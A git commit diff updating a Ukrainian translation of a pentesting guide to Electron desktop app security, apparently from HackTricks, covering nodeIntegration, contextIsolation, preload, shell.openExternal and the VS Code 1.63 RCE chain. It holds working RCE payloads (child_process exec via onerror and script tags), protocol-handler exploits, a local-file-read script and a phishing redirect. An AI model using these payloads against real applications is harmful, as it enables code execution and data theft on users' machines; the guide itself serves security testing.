Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-09-29 21:55:34 +00:00
parent e6a1a72316
commit f179714cd7

View File

@ -4,14 +4,14 @@
## Вступ ## Вступ
Electron поєднує локальний бекенд (з **NodeJS**) і фронтенд (**Chromium**), хоча йому бракує деяких механізмів безпеки сучасних браузерів. Electron поєднує локальний бекенд (з **NodeJS**) та фронтенд (**Chromium**), хоча йому бракує деяких механізмів безпеки сучасних браузерів.
Зазвичай код Electron-застосунку можна знайти всередині `.asar` архіву; щоб отримати код, його потрібно екстрагувати: Зазвичай код Electron-додатка можна знайти всередині `.asar` пакунку; щоб отримати код, потрібно його витягти:
```bash ```bash
npx asar extract app.asar destfolder #Extract everything npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file npx asar extract-file app.asar main.js #Extract just a file
``` ```
У вихідному коді Electron app, всередині файлу `packet.json`, вказано файл `main.js`, у якому встановлено налаштування безпеки. У вихідному коді Electron-додатка, всередині `packet.json`, можна знайти вказаний файл `main.js`, де встановлено налаштування безпеки.
```json ```json
{ {
"name": "standard-notes", "name": "standard-notes",
@ -20,11 +20,11 @@ npx asar extract-file app.asar main.js #Extract just a file
Electron має 2 типи процесів: Electron має 2 типи процесів:
- Головний процес (має повний доступ до NodeJS) - Головний процес (має повний доступ до NodeJS)
- Рендер-процес (повинен мати обмежений доступ до NodeJS з міркувань безпеки) - Рендерер (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
![](<../../../images/image (182).png>) ![](<../../../images/image (182).png>)
**Рендер-процес** — це вікно браузера, яке завантажує файл: A **рендерер** буде вікном браузера, що завантажує файл:
```javascript ```javascript
const { BrowserWindow } = require("electron") const { BrowserWindow } = require("electron")
let win = new BrowserWindow() let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process //Open Renderer Process
win.loadURL(`file://path/to/index.html`) win.loadURL(`file://path/to/index.html`)
``` ```
Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE** в Electron application або іншим вразливостям, якщо **налаштування правильно встановлені**. Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE додатком Electron** або іншим вразливостям, якщо **налаштування встановлені правильно**.
Electron application **може отримувати доступ до пристрою** через Node APIs, хоча це можна налаштувати, щоб запобігти цьому: Додаток Electron **може отримати доступ до пристрою** через Node APIs, хоча це можна налаштувати, щоб запобігти цьому:
- **`nodeIntegration`** - за замовчуванням `off`. Якщо увімкнено, дозволяє доступ до Node API з **renderer process**. - **`nodeIntegration`** - за замовчуванням `off`. Якщо увімкнено, дозволяє доступ до node-функцій з renderer process.
- **`contextIsolation`** - за замовчуванням `on`. Якщо `off`, main та renderer processes не ізольовані. - **`contextIsolation`** - за замовчуванням `on`. Якщо вимкнено, main та renderer процеси не ізольовані.
- **`preload`** - порожній за замовчуванням. - **`preload`** - порожній за замовчуванням.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням `off`. Обмежує дії, які може виконувати NodeJS. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнений. Обмежує дії, які може виконувати NodeJS.
- Node Integration in Workers - Node Integration in Workers
- **`nodeIntegrationInSubframes`** - за замовчуванням `off`. - **`nodeIntegrationInSubframes`** - за замовчуванням `off`.
- Якщо **`nodeIntegration`** **увімкнено**, це дозволяє використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron application. - Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron-додатку.
- Якщо **`nodeIntegration`** **відключено**, то preload-скрипти завантажуватимуться в iframe - Якщо **`nodeIntegration`** **вимкнено**, тоді preload-скрипти завантажуватимуться в iframe
Example of configuration: Example of configuration:
```javascript ```javascript
@ -71,7 +71,7 @@ spellcheck: true,
}, },
} }
``` ```
Кілька **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt): Деякі **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html ```html
Example Payloads (Windows): Example Payloads (Windows):
<img <img
@ -95,15 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x" src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" /> onerror="alert(require('child_process').execSync('uname -a').toString());" />
``` ```
### Перехоплення трафіку ### Захоплення трафіку
Змініть конфігурацію start-main і додайте використання proxy, наприклад: Змініть конфігурацію start-main та додайте використання proxy, наприклад:
```javascript ```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
``` ```
## Electron Local Code Injection ## Electron Local Code Injection
Якщо ви можете виконати локально Electron App, можливо, ви зможете змусити його виконувати довільний javascript code. Див. як у: Якщо ви можете локально виконати Electron App, можливо, ви зможете змусити його виконувати довільний javascript код. Див. як у:
{{#ref}} {{#ref}}
@ -112,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
## RCE: XSS + nodeIntegration ## RCE: XSS + nodeIntegration
Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликом `require()`. Наприклад, спосіб запустити додаток calc у Windows такий: Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликом `require()`. Наприклад, спосіб запустити calc на Windows такий:
```html ```html
<script> <script>
require("child_process").exec("calc") require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload ## RCE: preload
Скрипт, вказаний у цьому налаштуванні, l**oaded before other scripts in the renderer**, тому має **необмежений доступ до Node APIs**: Скрипт, вказаний у цьому налаштуванні, **завантажується перед іншими скриптами у renderer**, тому має **необмежений доступ до Node APIs**:
```javascript ```javascript
new BrowserWindow{ new BrowserWindow{
webPreferences: { webPreferences: {
@ -149,17 +149,17 @@ runCalc()
</script> </script>
</body> </body>
``` ```
> [!NOTE] > **Якщо `contextIsolation` увімкнено, це не працюватиме** > [!NOTE] > **Якщо `contextIsolation` увімкнено, це не спрацює**
## RCE: XSS + contextIsolation ## RCE: XSS + contextIsolation
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE. The _**contextIsolation**_ вводить **розділені контексти між скриптами веб-сторінки та внутрішнім кодом Electron на JavaScript**, щоб виконання JavaScript одного коду не впливало на інше. Це необхідна функція для усунення можливості RCE.
If the contexts aren't isolated an attacker can: Якщо контексти не ізольовані, атакуючий може:
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites) 1. Виконати **arbitrary JavaScript in renderer** (XSS або навігацію на зовнішні сайти)
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function 2. **Перезаписати вбудований метод**, який використовується в preload або внутрішньому коді Electron, щоб захопити функцію
3. **Trigger** the use of **overwritten function** 3. **Спровокувати** використання **перезаписаної функції**
4. RCE? 4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
@ -179,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md electron-contextisolation-rce-via-ipc.md
{{#endref}} {{#endref}}
### Обхід події click ### Обхід події кліку
If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click Якщо при кліку по посиланню застосовано обмеження, ви можете їх обійти, **виконавши середній клік** замість звичайного лівого кліку
```javascript ```javascript
window.addEventListener('click', (e) => { window.addEventListener('click', (e) => {
``` ```
## RCE через shell.openExternal ## RCE via shell.openExternal
Для детальнішої інформації про ці приклади див. [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) Для отримання додаткової інформації про ці приклади перегляньте [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Під час розгортання Electron desktop application важливо переконатися у правильних налаштуваннях `nodeIntegration` та `contextIsolation`. Вважається, що **client-side remote code execution (RCE)**, спрямовані на preload scripts або нативний код Electron з main process, ефективно запобігаються при таких налаштуваннях. Під час розгортання десктопного додатку Electron критично важливо правильно налаштувати `nodeIntegration` та `contextIsolation`. Встановлено, що **client-side remote code execution (RCE)**, спрямований на preload scripts або Electron's native code з main process, ефективно запобігається за наявності цих налаштувань.
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні обробники подій, які є критичними для безпеки та функціональності додатку: Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні event listeners, які критично важливі для безпеки та функціональності додатку:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {} webContents.on("will-navigate", function (event, url) {}
``` ```
Ці обробники подій **перевизначаються десктопним додатком**, щоб реалізувати власну **бізнес-логіку**. Додаток визначає, чи має посилання відкриватися всередині програми чи у зовнішньому веб-браузері. Зазвичай це рішення приймається в функції `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання має відкриватися зовнішньо з використанням функції `shell.openExternal`. Ці слухачі **перевизначаються десктоп‑додатком**, щоб реалізувати його власну **бізнес‑логіку**. Додаток оцінює, чи слід відкривати перехідне посилання внутрішньо або у зовнішньому веб‑браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання слід відкрити зовні з використанням функції `shell.openExternal`.
**Here is a simplified pseudocode:** **Ось спрощений псевдокод:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів та подальшого пояснення цієї теми можна звернутися до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), який містить приклади протоколів Windows, здатних експлуатувати цю вразливість. Рекомендації щодо безпеки Electron JS застерігають від прийняття ненадійного контенту через функцію `openExternal`, оскільки це може призвести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів та додаткового пояснення з цієї теми можна звернутися до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), який містить приклади протоколів Windows, здатних експлуатувати цю вразливість.
У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад у `shell.openExternal('file:///System/Applications/Calculator.app')`. У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Examples of Windows protocol exploits include:** **Приклади експлуатації протоколів Windows включають:**
```html ```html
<script> <script>
window.open( window.open(
@ -228,17 +228,17 @@ window.open(
) )
</script> </script>
``` ```
## RCE: webviewTag + вразливий preload IPC + shell.openExternal ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Цю вразливість можна знайти в **[цьому звіті](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. Цю vuln можна знайти в **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
The **webviewTag** is a **застаріла функція** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the **preload context** like: The **webviewTag** — це **застаріла функція**, яка дозволяє використовувати **NodeJS** у **renderer process**, її слід вимкнути, оскільки вона дозволяє завантажити скрипт у preload-контекст, наприклад:
```xml ```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview> <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
``` ```
Отже, зловмисник, який зуміє завантажити довільну сторінку, може використати цей тег, щоб **завантажити довільний preload script**. Отже, зловмисник, який зможе завантажити довільну сторінку, може використати цей тег, щоб **load an arbitrary preload script**.
Потім цей preload script використовували для виклику **вразливої IPC-служби (`skype-new-window`)**, яка викликала викликала **`shell.openExternal`** для отримання RCE: Цей preload script потім використовували для виклику **vulnerable IPC service (`skype-new-window`)**, який викликав **`shell.openExternal`** для отримання RCE:
```javascript ```javascript
(async() => { (async() => {
const { ipcRenderer } = require("electron"); const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
``` ```
## Читання внутрішніх файлів: XSS + contextIsolation ## Читання внутрішніх файлів: XSS + contextIsolation
**Вимкнення `contextIsolation` дозволяє використовувати теги `<webview>`**, аналогічно до `<iframe>`, для читання та exfiltrating локальних файлів. Наведений приклад демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів: **Вимкнення `contextIsolation` дозволяє використовувати теги `<webview>`, подібно до `<iframe>`, для читання та exfiltrating локальних файлів.** Наведений приклад демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>) ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Далі наведено ще один метод для **читання внутрішнього файлу**, який підкреслює критичну вразливість читання локальних файлів в Electron desktop app. Це передбачає ін'єкцію скрипта для експлуатації додатка та exfiltrate даних: Крім того, наведено ще один метод для **читання внутрішнього файлу**, що підкреслює критичну вразливість локального читання файлів в Electron desktop app. Це передбачає впровадження скрипта для експлуатації додатку та exfiltrate data:
```html ```html
<br /><br /><br /><br /> <br /><br /><br /><br />
<h1> <h1>
@ -271,45 +271,45 @@ frames[0].document.body.innerText
</script> </script>
</h1> </h1>
``` ```
## **RCE: XSS + старий chromium** ## **RCE: XSS + старий Chromium**
Якщо **chromium**, що використовується додатком, є **старим** і в ньому є **відомі** **вразливості**, можливо, що ви зможете **експлуатувати їх і отримати RCE через XSS**.\\ Якщо **chromium**, який використовується додатком, є **старим** і на ньому є **відомі** **vulnerabilities**, може бути можливим експлуатувати його та отримати RCE через XSS.\
Приклад можна побачити в цьому **описі**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing через обхід regex для внутрішніх URL** ## **XSS Phishing через Internal URL regex bypass**
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або викрасти внутрішні файли**, тоді ви можете спробувати використати його, щоб **вкрасти облікові дані через phishing**. Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли** — можна спробувати використати його, щоб **вкрасти облікові дані через phishing**.
Насамперед потрібно зрозуміти, що відбувається, коли ви намагаєтеся відкрити нову URL-адресу, перевіривши JS-код у front-end: Насамперед потрібно знати, що відбувається, коли ви намагаєтесь відкрити новий URL, переглянувши JS-код у front-end:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
``` ```
Виклик **`openInternally`** визначає, чи **link** буде **opened** у **desktop window**, оскільки це посилання, яке належить платформі, **or** чи воно буде відкрито у **browser as a 3rd party resource**. Виклик **`openInternally`** визначає, чи **link** буде **відкрито** у **вікні десктоп-додатку**, оскільки це посилання, що належить платформі, **або** чи воно буде відкрито у **браузері як сторонній ресурс**.
У випадку, якщо **regex**, який використовується функцією, є **vulnerable to bypasses** (наприклад через **not escaping the dots of subdomains**), атакуючий може зловживати XSS, щоб **open a new window which** буде розміщено в інфраструктурі атакуючого, **asking for credentials** у користувача: У випадку, якщо **regex**, що використовується функцією, є **вразливим до обходів** (наприклад через **неекранування крапок у субдоменах**), зловмисник міг би використати XSS, щоб **відкрити нове вікно, яке** буде розміщене в інфраструктурі атакуючого, **просячи у користувача облікові дані**:
```html ```html
<script> <script>
window.open("<http://subdomainagoogleq.com/index.html>") window.open("<http://subdomainagoogleq.com/index.html>")
</script> </script>
``` ```
## `file://` Protocol ## `file://` Протокол
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **власний протокол** prevents issues like this as you can limit the protocol to only serving a specific set of files. As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) сторінки, що виконуються через **`file://`**, мають односторонній доступ до всіх файлів на вашій машині, що означає, що уразливості **XSS** можуть бути використані для завантаження довільних файлів із машини користувача. Використання **власного протоколу** запобігає таким проблемам, оскільки ви можете обмежити протокол лише набором конкретних файлів.
## Remote module ## Модуль remote
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks. Модуль Electron remote дозволяє **процесам renderer отримувати доступ до API основного процесу**, полегшуючи комунікацію в межах Electron-додатку. Однак увімкнення цього модуля створює суттєві ризики безпеки. Він розширює поверхню атаки додатку, роблячи його більш вразливим до вразливостей, таких як атаки cross-site scripting (XSS).
> [!TIP] > [!TIP]
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information. > Хоча модуль **remote** відкриває деякі API з main до renderer-процесів, не так просто отримати RCE лише шляхом зловживання компонентами. Проте компоненти можуть відкривати чутливу інформацію.
> [!WARNING] > [!WARNING]
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**. > Багато додатків, що досі використовують модуль remote, роблять це так, що **потребують увімкнення NodeIntegration** у renderer-процесі, і це є **великою загрозою безпеці**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**. Зі версії Electron 14 модуль `remote` може бути увімкнений кількома способами; через міркування безпеки та продуктивності **рекомендується не використовувати його**.
To enable it, it'd first needed to **увімкнути його в main process**: Щоб його ввімкнути, спочатку потрібно **увімкнути його в основному процесі**:
```javascript ```javascript
const remoteMain = require('@electron/remote/main') const remoteMain = require('@electron/remote/main')
remoteMain.initialize() remoteMain.initialize()
@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
}) })
remoteMain.enable(mainWindow.webContents) remoteMain.enable(mainWindow.webContents)
``` ```
Тоді процес рендерера може імпортувати об'єкти з модуля, наприклад: Тоді renderer process може імпортувати об'єкти з модуля, наприклад:
```javascript ```javascript
import { dialog, getCurrentWindow } from '@electron/remote' import { dialog, getCurrentWindow } from '@electron/remote'
``` ```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на деякі цікаві **функції**, які надає об'єкт **`app`** з remote module: The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на кілька цікавих **функцій**, які надає об'єкт **`app`** з remote module:
- **`app.relaunch([options])`** - **`app.relaunch([options])`**
- **Перезапускає** додаток шляхом **закриття** поточного екземпляра та **запуску** нового. Корисно для **app updates** або значних **змін стану**. - **Перезапускає** додаток шляхом **завершення** поточного екземпляра та **запуску** нового. Корисно для **оновлення додатку** або значних **змін стану**.
- **`app.setAppLogsPath([path])`** - **`app.setAppLogsPath([path])`**
- **Визначає** або **створює** каталог для зберігання **app logs**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**. - **Визначає** або **створює** директорію для збереження **логів додатка**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **protocol**. Можна вказати власний шлях та аргументи за потреби. - **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **протоколу**. За потреби можна вказати **кастомний шлях** і **аргументи**.
- **`app.setUserTasks(tasks)`** - **`app.setUserTasks(tasks)`**
- **Додає** tasks до категорії **Tasks** у **Jump List** (на Windows). Кожне завдання може контролювати, як додаток **запускається** або які **аргументи** передаються. - **Додає** завдання до **категорії Tasks** в **Jump List** (на Windows). Кожне завдання може контролювати, як запускається додаток або які **аргументи** передаються.
- **`app.importCertificate(options, callback)`** - **`app.importCertificate(options, callback)`**
- **Імпортує** PKCS#12 certificate у системне certificate store (лише Linux). Можна використовувати **callback** для обробки результату. - **Імпортує** **PKCS#12 сертифікат** у системне сховище сертифікатів (тільки Linux). Можна використовувати **callback** для обробки результату.
- **`app.moveToApplicationsFolder([options])`** - **`app.moveToApplicationsFolder([options])`**
- **Переміщує** додаток у **Applications folder** (на macOS). Допомагає забезпечити стандартну інсталяцію для користувачів Mac. - **Переміщує** додаток до папки **Applications** (на macOS). Допомагає забезпечити **стандартну інсталяцію** для користувачів Mac.
- **`app.setJumpList(categories)`** - **`app.setJumpList(categories)`**
- **Встановлює** або **видаляє** кастомний Jump List на Windows. Можна вказати **categories** для організації того, як завдання відображаються користувачу. - **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Можна вказати **категорії**, щоб організувати, як завдання відображаються користувачу.
- **`app.setLoginItemSettings(settings)`** - **`app.setLoginItemSettings(settings)`**
- **Налаштовує**, які виконувані файли запускаються при вході в систему разом із їхніми **опціями** (лише macOS та Windows). - **Налаштовує**, які **виконувані файли** запускаються при **вході в систему** разом із їхніми **опціями** (тільки macOS і Windows).
Example: Example:
```javascript ```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit() Native.app.exit()
``` ```
## systemPreferences module ## systemPreferences модуль
Це **основний API** для доступу до системних налаштувань та **генерації системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** та **setUserDefault**, всі **є частиною** цього модуля. **основний API** для доступу до системних налаштувань та **генерування системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** і **setUserDefault**, усі є **частиною** цього модуля.
**Приклад використання:** **Приклад використання:**
```javascript ```javascript
@ -367,23 +367,23 @@ console.log('Recent Places:', recentPlaces);
``` ```
### **subscribeNotification / subscribeWorkspaceNotification** ### **subscribeNotification / subscribeWorkspaceNotification**
* **Слухає** рідні macOS notifications за допомогою NSDistributedNotificationCenter. * **Слухає** **нативні macOS notifications** через NSDistributedNotificationCenter.
* До **macOS Catalina** ви могли sniff **всі** distributed notifications, передаючи **nil** до CFNotificationCenterAddObserver. * До **macOS Catalina** можна було перехоплювати **всі** distributed notifications, передаючи **nil** в CFNotificationCenterAddObserver.
* Після **Catalina / Big Sur** sandboxed apps все ще можуть **підписуватися** на **багато подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) шляхом реєстрації notifications **за іменем**. * Після **Catalina / Big Sur** ізольовані додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) шляхом реєстрації notifications **за іменем**.
### **getUserDefault / setUserDefault** ### **getUserDefault / setUserDefault**
* **Взаємодіє** з NSUserDefaults, який зберігає **application** або **global** preferences на macOS. * **Інтерфейсуються** з **NSUserDefaults**, який зберігає **параметри** додатків або глобальні preferences на macOS.
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **recent file locations** або **географічне розташування користувача**. * **getUserDefault** може **отримувати** чутливу інформацію, таку як **шляхи до нещодавніх файлів** або **географічне розташування користувача**.
* **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на **конфігурацію** додатку. * **setUserDefault** може **змінювати** ці preferences, потенційно впливаючи на **конфігурацію** додатку.
* У **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults. * В **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults.
## Shell.showItemInFolder ## Shell.showItemInFolder
Ця функція показує вказаний файл у файловому менеджері, який **може автоматично виконати файл**. Ця функція показує заданий файл у файловому менеджері, який **може автоматично виконати файл**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
@ -391,7 +391,7 @@ For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-m
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser. Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**. Зазвичай його **налаштовують** у файлі **`main.js`** або в шаблоні **`index.html`** через CSP всередині **meta tag**.
For more information check: For more information check:
@ -401,18 +401,41 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}} {{#endref}}
## **Tools** ## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для ідентифікації misconfigurations та security anti-patterns в Electron-based applications. This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для Electron applications, який використовує Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих сторонніх бібліотек. Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webviews leaked ID.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Додаткова література щодо проблем довіри postMessage:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **Інструменти**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для виявлення помилок конфігурації та security anti-patterns у додатках на базі Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для додатків Electron, який використовує Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих сторонніх бібліотек
- [**Electro.ng**](https://electro.ng/): Потрібно купити - [**Electro.ng**](https://electro.ng/): Потрібно купити
## Labs ## Лабораторії
У [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) ви знайдете лабораторне завдання для експлуатації вразливих Electron apps. У [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) можна знайти лабораторію для експлуатації вразливих додатків Electron.
Декілька команд, які допоможуть вам у лабораторній роботі: Декілька команд, які допоможуть вам у лабораторії:
```bash ```bash
# Download apps from these URls # Download apps from these URls
# Vuln to nodeIntegration # Vuln to nodeIntegration
@ -435,18 +458,18 @@ cd vulnerable1
npm install npm install
npm start npm start
``` ```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305 ## Локальне backdooring через підробку V8 heap snapshot (Electron/Chromium) CVE-2025-55305
